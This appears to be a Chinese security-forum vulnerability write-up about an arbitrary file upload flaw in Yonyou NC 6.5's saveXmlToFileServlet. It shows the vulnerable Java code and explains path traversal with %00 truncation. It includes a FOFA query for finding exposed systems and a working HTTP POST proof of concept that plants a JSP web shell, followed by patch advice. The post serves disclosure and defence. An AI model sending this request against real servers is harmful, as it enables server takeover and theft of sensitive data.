问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
用友NC saveXmlToFileServlet任意文件上传漏洞分析
漏洞分析
用友NC系统saveXmlToFileServlet方法存在任意文件上传漏洞,攻击者可获取服务器权限,造成敏感信息泄露
一、漏洞简介 ------ 用友NC系统`saveXmlToFileServlet`方法存在任意文件上传漏洞,攻击者可获取服务器权限,造成敏感信息泄露。 二、影响版本 ------ 用友NC6.5 三、漏洞原理分析 -------- 漏洞位于`saveXmlToFileServlet`接口处,文件路径为`nc.uap.wfm.action.saveXmlToFileServlet`  默认调用的doPost方法代码如下 ```php public void doPost() throws ServletException, IOException { ServletInputStream input = this.request.getInputStream(); InputStreamReader isr = new InputStreamReader((InputStream)input); BufferedReader br = new BufferedReader(isr); try { this.response.setContentType("text/html;charset=UTF-8"); this.request.setCharacterEncoding("utf-8"); this.response.setCharacterEncoding("UTF-8"); String filename = this.request.getParameter("filename"); if (filename == null || "".equals(filename)) filename = UUID.randomUUID().toString(); String savePath = this.request.getRealPath("") + "/processxml/" + filename + ".xml"; File file = new File(savePath); String line = br.readLine(); StringBuffer sb = new StringBuffer(); sb.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n"); while (line != null) { String str = URLDecoder.decode(line, "utf-8"); sb.append(str).append("\r\n"); line = br.readLine(); } FileUtils.writeStringToFile(file, sb.toString(), "UTF-8"); } finally { if (br != null) br.close(); } } ``` 方法中获取上传输入流,读取参数filename作为文件名,使用`"/processxml/" + filename + ".xml"`进行拼接文件名,最后再对拼接完成的路径文件进行创建并保存文件内容 此次由于直接使用+号进行拼接,存在目录穿越漏洞,此外如果用友NC部署在`Windows`操作系统上,就能使用`%00`截断后面的`.xml`文件后缀,上传任意的文件。综上该漏洞只能在`Windows`环境下进行复现 再加上`/portal/pt`前缀,用友NC门户模块的默认路径,完整请求路径如下 ```php /portal/pt/servlet/saveXmlToFileServlet/doPost ``` Windows系统测试上传正常  Linux系统上传在目录截断时`%00`就会报错  四、总结 ---- 用友NC系统`saveXmlToFileServlet`方法存在任意文件上传漏洞,造成系统权限接管,敏感信息泄露。 五、资产测绘 ------ FOFA语法 ```php app="用友-UFIDA-NC" ```  六、漏洞复现 ------ POC ```php POST /portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=../../../webapps/nc_web/11.jsp%00 HTTP/1.1 Host: Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Length: 19 URL编码的文件内容 ``` 上传shell文件成功,测试连接成功   七、修复建议 ------ 安装用友NC最新的补丁并更新到最新版本,对接口添加身份信息验证并限制文件目录和后缀。
发表于 2025-06-16 10:09:42
阅读 ( 218 )
分类:
OA产品
1 推荐
收藏
0 条评论
请先
登录
后评论
chobits
9 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!